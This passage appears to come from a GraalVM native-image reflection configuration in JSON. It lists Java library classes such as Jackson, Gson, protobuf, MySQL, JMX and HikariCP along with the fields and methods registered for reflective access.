{\"name\":\"treeAsTokens\",\"parameterTypes\":[\"com.fasterxml.jackson.core.TreeNode\"] }, {\"name\":\"treeToValue\",\"parameterTypes\":[\"com.fasterxml.jackson.core.TreeNode\",\"java.lang.Class\"] }, {\"name\":\"version\",\"parameterTypes\":[] }, {\"name\":\"writeTree\",\"parameterTypes\":[\"com.fasterxml.jackson.core.JsonGenerator\",\"com.fasterxml.jackson.core.TreeNode\"] }, {\"name\":\"writeValue\",\"parameterTypes\":[\"com.fasterxml.jackson.core.JsonGenerator\",\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.ObjectMapper$DefaultTyping\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.ObjectReader\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.ObjectWriter\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.PropertyNamingStrategies\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.PropertyNamingStrategy\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.SerializationConfig\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.SerializationFeature\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.SerializerProvider\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.annotation.JacksonStdImpl\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.annotation.JsonSerialize\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.cfg.CacheProvider\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.cfg.ConstructorDetector\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.cfg.ContextAttributes\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.cfg.DatatypeFeature\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.cfg.HandlerInstantiator\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.cfg.MutableCoercionConfig\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.cfg.MutableConfigOverride\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.deser.BeanDeserializerModifier\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.deser.DefaultDeserializationContext\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.deser.DeserializationProblemHandler\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.deser.ValueInstantiator\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.ext.Java7SupportImpl\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.introspect.AccessorNamingStrategy$Provider\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.introspect.ClassIntrospector\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.introspect.ClassIntrospector$MixInResolver\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.introspect.VisibilityChecker\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.json.JsonMapper$Builder\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.jsonFormatVisitors.JsonFormatTypes\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.jsonFormatVisitors.JsonFormatVisitable\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.jsonFormatVisitors.JsonFormatVisitorWrapper\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.jsonFormatVisitors.JsonValueFormat\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.jsonschema.JsonSchema\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.jsonschema.SchemaAware\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.jsontype.NamedType\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.jsontype.PolymorphicTypeValidator\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.jsontype.SubtypeResolver\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.jsontype.TypeResolverBuilder\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.jsontype.TypeSerializer\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.module.SimpleAbstractTypeResolver\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.module.SimpleDeserializers\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.module.SimpleKeyDeserializers\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.module.SimpleModule\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"addAbstractTypeMapping\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.Class\"] }, {\"name\":\"addDeserializer\",\"parameterTypes\":[\"java.lang.Class\",\"com.fasterxml.jackson.databind.JsonDeserializer\"] }, {\"name\":\"addKeyDeserializer\",\"parameterTypes\":[\"java.lang.Class\",\"com.fasterxml.jackson.databind.KeyDeserializer\"] }, {\"name\":\"addKeySerializer\",\"parameterTypes\":[\"java.lang.Class\",\"com.fasterxml.jackson.databind.JsonSerializer\"] }, {\"name\":\"addSerializer\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.JsonSerializer\"] }, {\"name\":\"addSerializer\",\"parameterTypes\":[\"java.lang.Class\",\"com.fasterxml.jackson.databind.JsonSerializer\"] }, {\"name\":\"addValueInstantiator\",\"parameterTypes\":[\"java.lang.Class\",\"com.fasterxml.jackson.databind.deser.ValueInstantiator\"] }, {\"name\":\"getModuleName\",\"parameterTypes\":[] }, {\"name\":\"getTypeId\",\"parameterTypes\":[] }, {\"name\":\"registerSubtypes\",\"parameterTypes\":[\"java.util.Collection\"] }, {\"name\":\"registerSubtypes\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.jsontype.NamedType[]\"] }, {\"name\":\"registerSubtypes\",\"parameterTypes\":[\"java.lang.Class[]\"] }, {\"name\":\"setAbstractTypes\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.module.SimpleAbstractTypeResolver\"] }, {\"name\":\"setDeserializerModifier\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.deser.BeanDeserializerModifier\"] }, {\"name\":\"setDeserializers\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.module.SimpleDeserializers\"] }, {\"name\":\"setKeyDeserializers\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.module.SimpleKeyDeserializers\"] }, {\"name\":\"setKeySerializers\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.module.SimpleSerializers\"] }, {\"name\":\"setMixInAnnotation\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.Class\"] }, {\"name\":\"setSerializerModifier\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.ser.BeanSerializerModifier\"] }, {\"name\":\"setSerializers\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.module.SimpleSerializers\"] }, {\"name\":\"setValueInstantiators\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.module.SimpleValueInstantiators\"] }, {\"name\":\"setupModule\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.Module$SetupContext\"] }, {\"name\":\"version\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.module.SimpleSerializers\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.module.SimpleValueInstantiators\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.node.ArrayNode\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.node.BaseJsonNode\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"get\",\"parameterTypes\":[\"int\"] }, {\"name\":\"get\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"byte\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"double\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"float\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"int\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"long\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"short\"] }, {\"name\":\"path\",\"parameterTypes\":[\"int\"] }, {\"name\":\"path\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.node.ContainerNode\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"get\",\"parameterTypes\":[\"int\"] }, {\"name\":\"get\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"path\",\"parameterTypes\":[\"int\"] }, {\"name\":\"path\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.node.JsonNodeCreator\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"numberNode\",\"parameterTypes\":[\"byte\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"double\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"float\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"int\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"long\"] }, {\"name\":\"numberNode\",\"parameterTypes\":[\"short\"] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.node.JsonNodeFactory\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.node.JsonNodeType\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.node.ObjectNode\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.ser.BasicSerializerFactory\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.ser.BeanSerializerModifier\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.ser.DefaultSerializerProvider\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.ser.FilterProvider\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.ser.PropertyFilter\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.ser.SerializerFactory\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.ser.std.ClassSerializer\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.ser.std.StdSerializer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getSchema\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.SerializerProvider\",\"java.lang.reflect.Type\",\"boolean\"] }, {\"name\":\"handledType\",\"parameterTypes\":[] }, {\"name\":\"wrapAndThrow\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.SerializerProvider\",\"java.lang.Throwable\",\"java.lang.Object\",\"int\"] }, {\"name\":\"wrapAndThrow\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.SerializerProvider\",\"java.lang.Throwable\",\"java.lang.Object\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.ser.std.ToStringSerializer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"valueToString\",\"parameterTypes\":[\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.ser.std.ToStringSerializerBase\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"acceptJsonFormatVisitor\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.jsonFormatVisitors.JsonFormatVisitorWrapper\",\"com.fasterxml.jackson.databind.JavaType\"] }, {\"name\":\"getSchema\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.SerializerProvider\",\"java.lang.reflect.Type\"] }, {\"name\":\"isEmpty\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.SerializerProvider\",\"java.lang.Object\"] }, {\"name\":\"serialize\",\"parameterTypes\":[\"java.lang.Object\",\"com.fasterxml.jackson.core.JsonGenerator\",\"com.fasterxml.jackson.databind.SerializerProvider\"] }, {\"name\":\"serializeWithType\",\"parameterTypes\":[\"java.lang.Object\",\"com.fasterxml.jackson.core.JsonGenerator\",\"com.fasterxml.jackson.databind.SerializerProvider\",\"com.fasterxml.jackson.databind.jsontype.TypeSerializer\"] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.type.LogicalType\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.type.TypeFactory\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.util.NameTransformer\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.dataformat.cbor.CBORFactory\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.dataformat.smile.SmileFactory\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.dataformat.xml.XmlMapper\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.datatype.jdk8.Jdk8Module\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.datatype.jsr310.JavaTimeModule\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.fasterxml.jackson.module.kotlin.KotlinModule\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.module.paramnames.ParameterNamesModule\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"equals\",\"parameterTypes\":[\"java.lang.Object\"] }, {\"name\":\"hashCode\",\"parameterTypes\":[] }, {\"name\":\"setupModule\",\"parameterTypes\":[\"com.fasterxml.jackson.databind.Module$SetupContext\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.github.benmanes.caffeine.cache.Cache\"\n},\n{\n  \"name\":\"com.github.benmanes.caffeine.cache.Caffeine\"\n},\n{\n  \"name\":\"com.google.common.util.concurrent.AbstractFuture\",\n  \"fields\":[{\"name\":\"listeners\"}, {\"name\":\"value\"}, {\"name\":\"waiters\"}]\n},\n{\n  \"name\":\"com.google.common.util.concurrent.AbstractFuture$Waiter\",\n  \"fields\":[{\"name\":\"next\"}, {\"name\":\"thread\"}]\n},\n{\n  \"name\":\"com.google.gson.ExclusionStrategy\"\n},\n{\n  \"name\":\"com.google.gson.FieldNamingPolicy\"\n},\n{\n  \"name\":\"com.google.gson.FieldNamingStrategy\"\n},\n{\n  \"name\":\"com.google.gson.Gson\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"toString\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.google.gson.GsonBuilder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.google.gson.JsonElement\"\n},\n{\n  \"name\":\"com.google.gson.JsonIOException\"\n},\n{\n  \"name\":\"com.google.gson.JsonSyntaxException\"\n},\n{\n  \"name\":\"com.google.gson.LongSerializationPolicy\"\n},\n{\n  \"name\":\"com.google.gson.ToNumberStrategy\"\n},\n{\n  \"name\":\"com.google.gson.TypeAdapter\"\n},\n{\n  \"name\":\"com.google.gson.TypeAdapterFactory\"\n},\n{\n  \"name\":\"com.google.gson.internal.Excluder\"\n},\n{\n  \"name\":\"com.google.gson.reflect.TypeToken\"\n},\n{\n  \"name\":\"com.google.gson.stream.JsonReader\"\n},\n{\n  \"name\":\"com.google.gson.stream.JsonWriter\"\n},\n{\n  \"name\":\"com.google.protobuf.Any\",\n  \"methods\":[{\"name\":\"getTypeUrl\",\"parameterTypes\":[] }, {\"name\":\"getTypeUrlBytes\",\"parameterTypes\":[] }, {\"name\":\"getValue\",\"parameterTypes\":[] }, {\"name\":\"newBuilder\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.google.protobuf.Any$Builder\",\n  \"methods\":[{\"name\":\"clearTypeUrl\",\"parameterTypes\":[] }, {\"name\":\"clearValue\",\"parameterTypes\":[] }, {\"name\":\"getTypeUrl\",\"parameterTypes\":[] }, {\"name\":\"getValue\",\"parameterTypes\":[] }, {\"name\":\"setTypeUrl\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setTypeUrlBytes\",\"parameterTypes\":[\"com.google.protobuf.ByteString\"] }, {\"name\":\"setValue\",\"parameterTypes\":[\"com.google.protobuf.ByteString\"] }]\n},\n{\n  \"name\":\"com.google.protobuf.ExtensionRegistry\",\n  \"methods\":[{\"name\":\"getEmptyRegistry\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.hazelcast.core.Hazelcast\"\n},\n{\n  \"name\":\"com.hazelcast.core.HazelcastInstance\"\n},\n{\n  \"name\":\"com.hazelcast.spring.cache.HazelcastCache\"\n},\n{\n  \"name\":\"com.ibm.lang.management.OperatingSystemMXBean\"\n},\n{\n  \"name\":\"com.intellij.rt.execution.application.AppMainV2$Agent\",\n  \"methods\":[{\"name\":\"premain\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.instrument.Instrumentation\"] }]\n},\n{\n  \"name\":\"com.lmax.disruptor.AbstractSequencer\",\n  \"fields\":[{\"name\":\"gatingSequences\"}]\n},\n{\n  \"name\":\"com.lmax.disruptor.Value\",\n  \"fields\":[{\"name\":\"value\"}]\n},\n{\n  \"name\":\"com.mchange.v2.c3p0.ComboPooledDataSource\"\n},\n{\n  \"name\":\"com.mongodb.MongoClientSettings\"\n},\n{\n  \"name\":\"com.mongodb.client.MongoClient\"\n},\n{\n  \"name\":\"com.mongodb.reactivestreams.client.MongoClient\"\n},\n{\n  \"name\":\"com.mysql.cj.conf.url.SingleConnectionUrl\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.mysql.cj.conf.ConnectionUrlParser\",\"java.util.Properties\"] }]\n},\n{\n  \"name\":\"com.mysql.cj.exceptions.CJException\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.mysql.cj.exceptions.UnableToConnectException\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.mysql.cj.jdbc.AbandonedConnectionCleanupThread\"\n},\n{\n  \"name\":\"com.mysql.cj.jdbc.Driver\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.mysql.cj.log.StandardLogger\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.mysql.cj.protocol.StandardSocketFactory\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.querydsl.core.Query\"\n},\n{\n  \"name\":\"com.rabbitmq.client.Channel\"\n},\n{\n  \"name\":\"com.rabbitmq.client.ConnectionFactory\"\n},\n{\n  \"name\":\"com.rometools.rome.feed.WireFeed\"\n},\n{\n  \"name\":\"com.samskivert.mustache.Mustache\"\n},\n{\n  \"name\":\"com.samskivert.mustache.Template\"\n},\n{\n  \"name\":\"com.sendgrid.SendGrid\"\n},\n{\n  \"name\":\"com.sun.crypto.provider.AESCipher$General\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.sun.crypto.provider.ARCFOURCipher\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.sun.crypto.provider.ChaCha20Cipher$ChaCha20Poly1305\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.sun.crypto.provider.DESCipher\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.sun.crypto.provider.DESedeCipher\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.sun.crypto.provider.GaloisCounterMode$AESGCM\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.sun.crypto.provider.HmacCore$HmacSHA512\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.sun.crypto.provider.PBKDF2Core$HmacSHA256\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.sun.jmx.mbeanserver.JmxMBeanServer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"addNotificationListener\",\"parameterTypes\":[\"javax.management.ObjectName\",\"javax.management.NotificationListener\",\"javax.management.NotificationFilter\",\"java.lang.Object\"] }, {\"name\":\"addNotificationListener\",\"parameterTypes\":[\"javax.management.ObjectName\",\"javax.management.ObjectName\",\"javax.management.NotificationFilter\",\"java.lang.Object\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"createMBean\",\"parameterTypes\":[\"java.lang.String\",\"javax.management.ObjectName\"] }, {\"name\":\"createMBean\",\"parameterTypes\":[\"java.lang.String\",\"javax.management.ObjectName\",\"javax.management.ObjectName\"] }, {\"name\":\"createMBean\",\"parameterTypes\":[\"java.lang.String\",\"javax.management.ObjectName\",\"javax.management.ObjectName\",\"java.lang.Object[]\",\"java.lang.String[]\"] }, {\"name\":\"createMBean\",\"parameterTypes\":[\"java.lang.String\",\"javax.management.ObjectName\",\"java.lang.Object[]\",\"java.lang.String[]\"] }, {\"name\":\"deserialize\",\"parameterTypes\":[\"java.lang.String\",\"javax.management.ObjectName\",\"byte[]\"] }, {\"name\":\"deserialize\",\"parameterTypes\":[\"java.lang.String\",\"byte[]\"] }, {\"name\":\"deserialize\",\"parameterTypes\":[\"javax.management.ObjectName\",\"byte[]\"] }, {\"name\":\"getAttribute\",\"parameterTypes\":[\"javax.management.ObjectName\",\"java.lang.String\"] }, {\"name\":\"getAttributes\",\"parameterTypes\":[\"javax.management.ObjectName\",\"java.lang.String[]\"] }, {\"name\":\"getClassLoader\",\"parameterTypes\":[\"javax.management.ObjectName\"] }, {\"name\":\"getClassLoaderFor\",\"parameterTypes\":[\"javax.management.ObjectName\"] }, {\"name\":\"getClassLoaderRepository\",\"parameterTypes\":[] }, {\"name\":\"getDefaultDomain\",\"parameterTypes\":[] }, {\"name\":\"getDomains\",\"parameterTypes\":[] }, {\"name\":\"getMBeanCount\",\"parameterTypes\":[] }, {\"name\":\"getMBeanInfo\",\"parameterTypes\":[\"javax.management.ObjectName\"] }, {\"name\":\"getMBeanInstantiator\",\"parameterTypes\":[] }, {\"name\":\"getMBeanServerDelegate\",\"parameterTypes\":[] }, {\"name\":\"getMBeanServerInterceptor\",\"parameterTypes\":[] }, {\"name\":\"getObjectInstance\",\"parameterTypes\":[\"javax.management.ObjectName\"] }, {\"name\":\"instantiate\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"instantiate\",\"parameterTypes\":[\"java.lang.String\",\"javax.management.ObjectName\"] }, {\"name\":\"instantiate\",\"parameterTypes\":[\"java.lang.String\",\"javax.management.ObjectName\",\"java.lang.Object[]\",\"java.lang.String[]\"] }, {\"name\":\"instantiate\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object[]\",\"java.lang.String[]\"] }, {\"name\":\"interceptorsEnabled\",\"parameterTypes\":[] }, {\"name\":\"invoke\",\"parameterTypes\":[\"javax.management.ObjectName\",\"java.lang.String\",\"java.lang.Object[]\",\"java.lang.String[]\"] }, {\"name\":\"isInstanceOf\",\"parameterTypes\":[\"javax.management.ObjectName\",\"java.lang.String\"] }, {\"name\":\"isRegistered\",\"parameterTypes\":[\"javax.management.ObjectName\"] }, {\"name\":\"queryMBeans\",\"parameterTypes\":[\"javax.management.ObjectName\",\"javax.management.QueryExp\"] }, {\"name\":\"queryNames\",\"parameterTypes\":[\"javax.management.ObjectName\",\"javax.management.QueryExp\"] }, {\"name\":\"registerMBean\",\"parameterTypes\":[\"java.lang.Object\",\"javax.management.ObjectName\"] }, {\"name\":\"removeNotificationListener\",\"parameterTypes\":[\"javax.management.ObjectName\",\"javax.management.NotificationListener\"] }, {\"name\":\"removeNotificationListener\",\"parameterTypes\":[\"javax.management.ObjectName\",\"javax.management.NotificationListener\",\"javax.management.NotificationFilter\",\"java.lang.Object\"] }, {\"name\":\"removeNotificationListener\",\"parameterTypes\":[\"javax.management.ObjectName\",\"javax.management.ObjectName\"] }, {\"name\":\"removeNotificationListener\",\"parameterTypes\":[\"javax.management.ObjectName\",\"javax.management.ObjectName\",\"javax.management.NotificationFilter\",\"java.lang.Object\"] }, {\"name\":\"setAttribute\",\"parameterTypes\":[\"javax.management.ObjectName\",\"javax.management.Attribute\"] }, {\"name\":\"setAttributes\",\"parameterTypes\":[\"javax.management.ObjectName\",\"javax.management.AttributeList\"] }, {\"name\":\"setMBeanServerInterceptor\",\"parameterTypes\":[\"javax.management.MBeanServer\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"unregisterMBean\",\"parameterTypes\":[\"javax.management.ObjectName\"] }]\n},\n{\n  \"name\":\"com.sun.jmx.mbeanserver.MBeanInstantiator\"\n},\n{\n  \"name\":\"com.sun.jmx.mbeanserver.SunJmxMBeanServer\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.sun.jndi.dns.DnsContextFactory\"\n},\n{\n  \"name\":\"com.sun.jndi.ldap.LdapCtxFactory\"\n},\n{\n  \"name\":\"com.sun.jndi.ldap.ctl.PagedResultsControl\"\n},\n{\n  \"name\":\"com.sun.jndi.ldap.ctl.PagedResultsResponseControl\"\n},\n{\n  \"name\":\"com.sun.jndi.ldap.ctl.SortControl\"\n},\n{\n  \"name\":\"com.sun.jndi.ldap.ctl.SortResponseControl\"\n},\n{\n  \"name\":\"com.sun.management.GarbageCollectionNotificationInfo\"\n},\n{\n  \"name\":\"com.sun.management.GarbageCollectorMXBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.sun.management.GcInfo\",\n  \"queryAllPublicMethods\":true,\n  \"fields\":[{\"name\":\"builder\"}, {\"name\":\"extAttributes\"}],\n  \"methods\":[{\"name\":\"getMemoryUsageBeforeGc\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.sun.management.HotSpotDiagnosticMXBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.sun.management.OperatingSystemMXBean\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"getCpuLoad\",\"parameterTypes\":[] }, {\"name\":\"getProcessCpuLoad\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.sun.management.ThreadMXBean\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.sun.management.UnixOperatingSystemMXBean\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"getMaxFileDescriptorCount\",\"parameterTypes\":[] }, {\"name\":\"getOpenFileDescriptorCount\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.sun.management.VMOption\",\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.sun.management.internal.GarbageCollectorExtImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"com.sun.management.internal.HotSpotDiagnostic\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"com.sun.management.internal.HotSpotThreadImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"com.sun.management.internal.OperatingSystemImpl\",\n  \"queryAllPublicConstructors\":true\n},\n{\n  \"name\":\"com.sun.org.apache.xerces.internal.jaxp.SAXParserFactoryImpl\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.unboundid.ldap.listener.InMemoryDirectoryServer\"\n},\n{\n  \"name\":\"com.wavefront.sdk.common.WavefrontSender\"\n},\n{\n  \"name\":\"com.wavefront.sdk.common.application.ApplicationTags\"\n},\n{\n  \"name\":\"com.zaxxer.hikari.HikariConfig\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"addDataSourceProperty\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.Object\"] }, {\"name\":\"addHealthCheckProperty\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"copyStateTo\",\"parameterTypes\":[\"com.zaxxer.hikari.HikariConfig\"] }, {\"name\":\"getCatalog\",\"parameterTypes\":[] }, 